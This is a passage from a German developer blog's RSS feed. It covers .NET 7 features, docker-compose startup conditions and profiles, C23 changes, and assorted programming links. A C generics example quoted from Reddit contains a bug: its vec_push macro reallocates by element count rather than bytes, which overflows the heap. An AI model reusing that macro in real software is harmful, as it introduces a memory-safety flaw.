&lt;p&gt;Verwendet man in seinem Pattern solche Konstrukte (Liste davon ist im verlinkten Blogpost) nicht, kann man alternativ eine RegEx-Engine verwenden, die einen DFA bzw. NFA konstruiert. Also das, was man im TI-Unterricht auch so lernt.
Der Vorteil davon: Die können in manchen Use-Cases schneller sein. Das sollte man abhängig von seinem Pattern und den Daten machen. Hilfe beim Entscheiden gibt einem der Blogpost. Man sollte jetzt also nicht hingehen und überall Backtracking entfernen. Backtracking wurde schon gut optimiert.&lt;/p&gt;
&lt;p&gt;Ein paar weitere Änderungen sind SIMD-Vektorisierung und Support für &lt;code&gt;Span&amp;lt;T&amp;gt;&lt;/code&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/14/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/14/4.html</guid><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei .NET 7 waren:&lt;/p&gt;
&lt;p&gt;Die neue Preview (Preview 5) hat jetzt Support für &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/dotnet-7-generic-math/&quot;&gt;&quot;Generic Math&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das wird ermöglicht durch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Statische, abstrakte Interface-Member&lt;/li&gt;
&lt;li&gt;Dadurch Operatorüberladung, die in Interfaces spezifiziert ist&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interfaces konnten bis C# 11 keine statischen Member von einem Typen verlangen. So war es z. B. nicht möglich, zu verlangen, dass eine Klasse den +-Operator implementiert. Auch nicht mit einem Type-Constraint.
Auch das bekannte Muster &lt;code&gt;Parse&lt;/code&gt; und &lt;code&gt;TryParse&lt;/code&gt; war mehr Konvention als irgendwie erzwingbar, weil beide Methoden statisch sind. Aus dem Grund war eine Lösung, Klassen zu erstellen, von denen es nur eine Instanz gibt. Anders konnte man keinen Type-Constraint erfüllen, der durch Interfaces kam. Darüber habe ich schonmal &lt;a href=&quot;/2021/08/10/0.html&quot;&gt;berichtet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Jetzt ist das ganze ist jetzt schon deutlich konkreter geworden. &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/dotnet-7-generic-math/&quot;&gt;Die neuen Interfaces dazu&lt;/a&gt; sehen sehr cool aus. Man kann damit jetzt den Großteil der Rechenoperationen abstrahieren.
Den Nutzen kann man gut sehen, weil sie in der LINQ die &lt;code&gt;Min&lt;/code&gt;/&lt;code&gt;Max&lt;/code&gt;-Funktionen damit ersetzen konnten. &lt;a href=&quot;https://github.com/dotnet/runtime/pull/68183/files&quot;&gt;Es fällt echt viel doppelter Code weg&lt;/a&gt;.
Es liegt jetzt natürlich nah, diese Interfaces auch bei den Vector-Typen aus &lt;code&gt;System.Numerics&lt;/code&gt; zu implementieren. Laut den Kommentaren in dem Artikel dazu wird das nicht mehr in .NET 7 passieren.&lt;/p&gt;
&lt;p&gt;Auch neu:
.NET hat jetzt eine API, um &lt;a href=&quot;https://github.com/dotnet/runtime/pull/67883&quot;&gt;TARs zu entpacken&lt;/a&gt;. Wenn man das mit dem bereits existierenden &lt;code&gt;GZipStream&lt;/code&gt; kombiniert, kann man also ganz leicht ohne externe Libraries jetzt eine tar.gz entpacken. Deflate und Brotli gibt es dort übrigens auch.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;System.Text.Json&lt;/code&gt; kann jetzt anhand von einem Diskriminator-Feld zwischen in verschiedene Basisklassen deserialisieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[JsonDerivedType(typeof(Base), typeDiscriminator: &quot;base&quot;)]
[JsonDerivedType(typeof(Derived), typeDiscriminator: &quot;derived&quot;)]
public class Base
{
    public int X { get; set; }
}

public class Derived : Base
{
    public int Y { get; set; }
}
// ...
Base value = JsonSerializer.Deserialize&amp;lt;Base&amp;gt;(@&quot;{ &quot;&quot;$type&quot;&quot; : &quot;&quot;derived&quot;&quot;, &quot;&quot;X&quot;&quot; : 0, &quot;&quot;Y&quot;&quot; : 0 }&quot;);
// value is a Derived instance
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Was in dem Blogpost nicht steht, aber &lt;a href=&quot;https://github.com/dotnet/runtime/issues/63747&quot;&gt;in der Issue&lt;/a&gt; zu der Änderung: Man kann die Property, auf die geschaut wird, wie folgt definieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[JsonPolymorphic(CustomTypeDiscriminatorPropertyName = &quot;$case&quot;)]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(standardmäßig ist es &lt;code&gt;&quot;$type&quot;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;System.IO.Stream&lt;/code&gt; hat jetzt &lt;code&gt;ReadExactly&lt;/code&gt; und &lt;code&gt;ReadAtLeast&lt;/code&gt;.
Das ist cool, weil das normale &lt;code&gt;Read&lt;/code&gt; möglicherweise weniger Daten zurückgibt. Dann muss man eigene Logik bauen, um den Rest auch noch zu lesen. Das ist manchmal echt nervig gewesen.
Um das etwas zu entkoppeln, gibt es übrigens noch was anderes: &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/system-io-pipelines-high-performance-io-in-net/&quot;&gt;&lt;code&gt;System.IO.Pipelines&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wenn Ihr eine Library baut, gibt&apos;s noch eine interessante Neuerung:
Das &lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.diagnostics.codeanalysis.stringsyntaxattribute&quot;&gt;&lt;code&gt;StringSyntaxAttribute&lt;/code&gt;&lt;/a&gt;. Das kann man an Member und Parameter kleben, um anzugeben, was der entsprechende String so für Daten enthält. So kann man z. B. sagen, dass soein String ein Regex-Pattern oder JSON enthält. Die IDE kann dann entsprechend highlighten und generell ne bessere Editing-Experience geben.&lt;/p&gt;
&lt;p&gt;VS gibt&apos;s jetzt auch &lt;a href=&quot;https://devblogs.microsoft.com/visualstudio/arm64-visual-studio/&quot;&gt;für ARM64&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/21/0.html</guid><pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute habe ich gelernt: In docker-compose kann man sich sowas basteln, was ähnlich zu den Init-Containern aus k8s ist. Verwenden tut man dafür die &lt;code&gt;depends_on&lt;/code&gt;-Property des Services.&lt;/p&gt;
&lt;p&gt;Bisher ging ich davon aus, dass man mit der Property nur festlegen kann, in welcher Reihenfolge die Container gestartet werden. Das bringt einem aber nicht viel, weil die Container üblicherweise unterschiedlich lange brauchen, um zu starten. Das geht mittlerweile besser, nur die Dokumentation erwähnt es (noch) nicht:&lt;/p&gt;
&lt;p&gt;Bei den Elementen von &lt;code&gt;depends_on&lt;/code&gt; kann man &lt;code&gt;conditions&lt;/code&gt; angeben. Dort kann man sagen, in welchem Zustand die Abhängigkeit sein soll, bevor der Container gestartet wird.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  db:
    image: mariadb:10
    ports:
      - &quot;3306:3306&quot;

  init_db:
    image: mariadb:10
    command: /init-db.sh
    volumes:
      - ./init-db.sh:/init-db.sh
    env_file:
      - credentials.env
    depends_on:
      db:
        condition: service_started

  application:
    # ...
    depends_on:
      init_db:
          condition: service_completed_successfully
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Durch das &lt;code&gt;service_completed_successfully&lt;/code&gt; sagt man, dass &lt;code&gt;application&lt;/code&gt; erst startet, wenn &lt;code&gt;init_db&lt;/code&gt; mit einem 0-Exit-Code beendet ist.
&lt;code&gt;service_started&lt;/code&gt; ist offenbar das, was sonst auch immer der Fall war (die Doku nennt es &quot;&lt;a href=&quot;https://docs.docker.com/compose/compose-file/compose-file-v2/#depends_on&quot;&gt;legacy behaviour&lt;/a&gt;&quot;).&lt;/p&gt;
&lt;p&gt;Ich hab dann noch ein bisschen Recherche betrieben und &lt;a href=&quot;https://github.com/docker/compose/pull/8122/files&quot;&gt;rausgefunden&lt;/a&gt;:
Da geht noch mehr! Definiert man z. B. die Healthchecks, &lt;a href=&quot;/2022/04/27/0.html&quot;&gt;über die ich mal berichtet habe&lt;/a&gt;, kann man den Condition &lt;code&gt;service_healthy&lt;/code&gt; angeben. Diesen Status erhält ein Container, wenn er hochgefahren und sich durch den Healthcheck als &quot;gesund&quot; erkannt wurde.
Definiert man das in der &lt;code&gt;Dockerfile&lt;/code&gt; oder in der &lt;code&gt;docker-compose.yml&lt;/code&gt;, kann man damit sogar ein &lt;code&gt;./wait-for-it.sh&lt;/code&gt; loswerden.
Da hat sich ja echt was getan bei docker-compose.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/21/1.html</guid><pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das &lt;code&gt;img&lt;/code&gt;-Element hat ein &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decoding&quot;&gt;&lt;code&gt;decoding&lt;/code&gt;-Attribut&lt;/a&gt;, mit dem man sagen kann, ob das Bild asynchron oder synchron dekodiert werden soll.
Gibt&apos;s auch schon länger (Chrome 53, Firefox 63).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/22/0.html</guid><pubDate>Wed, 22 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: &lt;a href=&quot;https://en.wikipedia.org/wiki/Geek_Code&quot;&gt;Geek Code&lt;/a&gt;. &lt;a href=&quot;https://web.archive.org/web/20090220181018/http://geekcode.com/geek.html&quot;&gt;Hier&lt;/a&gt; ist der Standard. Die Domain leitet heutzutage übrigens auf Google um.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS/IT/M/SS d- s-:++ a- C++ UL++ P--- L++ E---- W++N*
w++ PS+ PE- Y+ !O !K !M !V PGP+(++) !t R? !tv b e+++ z?
------END GEEK CODE BLOCK------
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/09/0.html</guid><pubDate>Sat, 09 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine Sammlung an Standard-UI-Patterns mit CSS: &lt;a href=&quot;https://csslayout.io&quot;&gt;csslayout.io&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/13/0.html</guid><pubDate>Wed, 13 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://buttondown.email/hillelwayne/archive/six-programming-languages-id-like-to-see/&quot;&gt;Six Programming Languages I&apos;d Like to See &lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/15/0.html</guid><pubDate>Fri, 15 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://how-i-experience-web-today.com&quot;&gt;how-i-experience-web-today.com&lt;/a&gt; und &lt;a href=&quot;https://userinyerface.com&quot;&gt;userinyerface.com&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/18/0.html</guid><pubDate>Mon, 18 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.foldnfly.com&quot;&gt;Liste von Papierflugzeugen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/20/0.html</guid><pubDate>Wed, 20 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Proposal zum &lt;a href=&quot;https://github.com/tc39/proposal-json-parse-with-source&quot;&gt;JSON.parse source text access&lt;/a&gt; ist gerade in Stage 3 gelandet.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/23/0.html</guid><pubDate>Sat, 23 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt &lt;a href=&quot;https://ieeexplore.ieee.org/document/5521745&quot;&gt;eine Studie aus 2010&lt;/a&gt;, die die Lesbarkeit von &lt;code&gt;camelCase&lt;/code&gt; und &lt;code&gt;snake_case&lt;/code&gt; untersucht. Sie kommt zu dem Schluss, dass &lt;code&gt;snake_case&lt;/code&gt; um ca. 20% einfacher zu lesen ist. (Danke, Hans)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/07/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/07/29/0.html</guid><pubDate>Fri, 29 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tjukanovt.github.io/notable-people&quot;&gt;Map with the most famous people from every city&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/08/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/08/10/0.html</guid><pubDate>Wed, 10 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/announcing-dotnet-7-preview-7/&quot;&gt;.NET 7 Preview 7&lt;/a&gt; ist da.
Interessante Neuerungen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Support für Unix File-Modes&lt;/li&gt;
&lt;li&gt;Ein Ersatz für &lt;code&gt;DllImport&lt;/code&gt; (FFI), der Source Generators verwendet: &lt;code&gt;LibraryImport&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/08/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/08/16/0.html</guid><pubDate>Tue, 16 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Letztens hatte ich einen Post zu selten verwendeten Features bei &lt;code&gt;docker-compose&lt;/code&gt;. Hier ein guter, aber oberflächlicher Artikel: &lt;a href=&quot;https://prod.releasehub.com/blog/6-docker-compose-best-practices-for-dev-and-prod&quot;&gt;6 Docker Compose Best Practices for Dev and Prod&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Daraufhin hat sich noch ein weiteres Feature aufgetan: &lt;a href=&quot;https://docs.docker.com/compose/profiles/&quot;&gt;profiles&lt;/a&gt;. Beispiel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3.9&quot;
services:
  frontend:
    image: frontend
    profiles: [&quot;frontend&quot;]

  phpmyadmin:
    image: phpmyadmin
    depends_on:
      - db
    profiles:
      - debug

  backend:
    image: backend

  db:
    image: mysql
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Here the services &lt;code&gt;frontend&lt;/code&gt; and &lt;code&gt;phpmyadmin&lt;/code&gt; are assigned to the profiles &lt;code&gt;frontend&lt;/code&gt; and &lt;code&gt;debug&lt;/code&gt; respectively and as such are only started when their respective profiles are enabled.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In den Kommentaren &lt;a href=&quot;https://news.ycombinator.com/item?id=32484008&quot;&gt;auf HN&lt;/a&gt; gibt es auch noch weitere Tipps.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/08/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/08/17/0.html</guid><pubDate>Wed, 17 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://carlosbecker.dev/posts/ssh-tips-and-tricks/&quot;&gt;SSH Tips and Tricks&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ssh</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/08/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/08/17/1.html</guid><pubDate>Wed, 17 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessante Idee für einen Editor: &lt;a href=&quot;https://numpad.io&quot;&gt;Ein Notepad mit eingebauter Erkennung für Einheiten und Berechnungen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/08/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/08/23/0.html</guid><pubDate>Tue, 23 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://gist.github.com/rgs/6509585&quot;&gt;Falsehoods programmers believe about prices&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/01/0.html</guid><pubDate>Thu, 01 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Weil ich den für .NET 6 auch verlinkt habe:
&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/performance_improvements_in_net_7/&quot;&gt;Performance Improvements in .NET 7&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Wie immer beeindruckend.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/01/1.html</guid><pubDate>Thu, 01 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es ist komplett an mir vorbei gegangen, dass &lt;a href=&quot;https://thephd.dev/c23-is-coming-here-is-what-is-on-the-menu&quot;&gt;C23 verabschieded wurde&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Meine Highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;signed Integer sind jetzt definiert als Zweierkomplement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://thephd.dev/finally-embed-in-c23&quot;&gt;&lt;code&gt;#embed&lt;/code&gt;&lt;/a&gt;, womit man Rohdaten aus anderen Dateien inkludieren kann, z. B. in einem C-Array. Das wird so einige Buildprozesse vereinfachen.&lt;/li&gt;
&lt;li&gt;Enums können jetzt einen zugrundeliegenden Typen haben: &lt;code&gt;enum e : unsigned short { x };&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Es gibt jetzt &lt;code&gt;nullptr&lt;/code&gt; (und &lt;code&gt;nullptr_t&lt;/code&gt;) auch in C&lt;/li&gt;
&lt;li&gt;&lt;code&gt;true&lt;/code&gt; und &lt;code&gt;false&lt;/code&gt; sind jetzt Keywords&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0b&lt;/code&gt;-Literale&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Außerdem gibt es noch bessere Kompatibilität zwischen gleichförmigen Structs. Mit &lt;a href=&quot;https://www.open-std.org/jtc1/sc22/wg14/www/docs/n3003.pdf&quot;&gt;N3003&lt;/a&gt; wird dieser Generics-Hack nun viable (Codebeispiel &lt;a href=&quot;https://www.reddit.com/r/C_Programming/comments/w5hl80/c23_now_finalized/&quot;&gt;von Reddit übernommen&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define Vec(T) struct Vec__##T { T *at; size_t _len; }

#define vec_push(a,v) ((a)-&amp;gt;at = realloc((a)-&amp;gt;at, ++(a)-&amp;gt;_len), (a)-&amp;gt;at[(a)-&amp;gt;_len - 1] = (v))
#define vec_len(a) ((a)._len)

void fill(Vec(int) *vec) {
    for (int i = 0; i &amp;lt; 10; i += 2)
        vec_push(vec, i);
}

int main() {
    Vec(int) x = { 0 }; // or = {} in C2x
    // pre C2x you&apos;d need to typedef Vec(int) to make the pointers compatible and use it for `x` and in fill:
    // --v
    fill(&amp;amp;x);
    for (size_t i = 0; i &amp;lt; vec_len(x); ++i)
        printf(&quot;%d\n&quot;, x.at[i]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Auf &lt;a href=&quot;https://en.cppreference.com/w/c/23&quot;&gt;cppreference&lt;/a&gt; gibt es auch noch eine kleine Übersicht der Änderungen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/07/0.html</guid><pubDate>Wed, 07 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fly.io/blog/sqlite-virtual-machine&quot;&gt;How the SQLite Virtual Machine Works&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/07/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/07/1.html</guid><pubDate>Wed, 07 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für eine Mittagspause: &lt;a href=&quot;https://www.acepace.net/integerQuiz/&quot;&gt;John Regehr&apos;s &quot;Integers in C quiz&quot;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/08/0.html</guid><pubDate>Thu, 08 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heutzutage kommt in JavaScript ja &lt;a href=&quot;https://en.wikipedia.org/wiki/ECMAScript#Versions&quot;&gt;jedes Jahr ein neuer Standard&lt;/a&gt;, der die Jahreszahl im Namen hat. Früher hat man da ausschließlich hochgezählt. Der letzte, den man häufig unter seiner Zahl referenziert hat, war ES6. Vor ES6 gab es ES5, was 2009 kam. Damals war z. B. &lt;code&gt;JSON.parse&lt;/code&gt; neu. Vor ES5 war der Standard... ES3, aus 1999.&lt;/p&gt;
&lt;p&gt;Was war eigentlich mit ES4? Heutzutage gibt es ja z. B. React, bei dem man in JavaScript eine eigene an HTML angelehnte Syntax für (Virtual-)DOM-Elemente hat.
In ES6 kam auch eine Syntax für Klassen. Für Interfaces und statische Typisierung wird heutzutage oft auch TypeScript eingesetzt.
Alles drei sind Sachen, die in ES4 vorgesehen waren. Dazu kamen sogar noch mehr Datentyüpen für Zahlen (int, byte, decimal, etc.). &lt;a href=&quot;https://evertpot.com/ecmascript-4-the-missing-version/&quot;&gt;Hier&lt;/a&gt; gibt es eine Übersicht an ES4-Features, die dann niemals kamen.&lt;/p&gt;
&lt;p&gt;Warum kam es nie? Dieser Post beantwortet das: &lt;a href=&quot;https://auth0.com/blog/the-real-story-behind-es4/&quot;&gt;The Real Story Behind ECMAScript 4&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/14/0.html</guid><pubDate>Wed, 14 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.unicode.org/2022/09/announcing-unicode-standard-version-150.html&quot;&gt;Unicode 15&lt;/a&gt; ist da.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/14/1.html</guid><pubDate>Wed, 14 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://lemire.me/blog/2022/09/14/escaping-strings-faster-with-avx-512/&quot;&gt;Escaping strings faster with AVX-512&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/20/0.html</guid><pubDate>Tue, 20 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-BP7DhHTU-I&quot;&gt;1Hz CPU made in Minecraft running Minecraft at 0.1fps&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtu.be/FDiapbD0Xfg&quot;&gt;Der dazugehörige Prozessor&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kurze &lt;a href=&quot;https://news.ycombinator.com/item?id=32903728&quot;&gt;Erläuterung&lt;/a&gt; auf HN:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The program itself was written in an existing intermediate language called URCL, which was then compiled to CHUNGUS2 assembly. CHUNGUS2 is the processor made with Minecraft&apos;s redstone mechanics. The processor was emulated for development, but the demo is running on MCHPRS, a Minecraft server that uses Wasmtime&apos;s Cranelift to JIT the redstone operations, which are represented as a weighted directed graph. Before MCHPRS, optimizing redstone performance using compiler techniques was not thought to be possible. With MCHPRS the demo takes 9 hours to run, it would take decades using Minecraft.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/09/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/09/26/0.html</guid><pubDate>Mon, 26 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fusectore.dev/2022/09/25/github-actions-pitfalls.html&quot;&gt;Pitfalls bei GitHub Actions&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/03/0.html</guid><pubDate>Mon, 03 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir hatten ja schon SQLite nach WASM kompiliert im Browser. Jetzt gibt es auch &lt;a href=&quot;https://supabase.com/blog/postgres-wasm&quot;&gt;Postgres im Browser&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/19/0.html</guid><pubDate>Wed, 19 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://wix-ux.com/when-life-gives-you-lemons-write-better-error-messages-46c5223e1a2f&quot;&gt;When life gives you lemons, write better error messages&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/20/0.html</guid><pubDate>Thu, 20 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-9-beta/&quot;&gt;TypeScript 4.9 Beta&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/25/0.html</guid><pubDate>Tue, 25 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.blog/changelog/2022-10-24-npm-v9-0-0-released/&quot;&gt;npm 9&lt;/a&gt; ist da.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/26/0.html</guid><pubDate>Wed, 26 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls es nicht nur an mir vorbei ging: &lt;a href=&quot;https://github.com/nodejs/node/blob/main/doc/changelogs/CHANGELOG_V19.md#19.0.0&quot;&gt;Node.js 19&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/10/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/10/26/1.html</guid><pubDate>Wed, 26 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.brickfanatics.com/lego-discontinuing-mindstorms-end-of-2022/&quot;&gt;LEGO is discontinuing MINDSTORMS in 2022 &lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das ist wirklich schade, damit haben sicherlich neben mir auch viele andere den Einstieg in Robotik und Informatik gefunden.&lt;/p&gt;
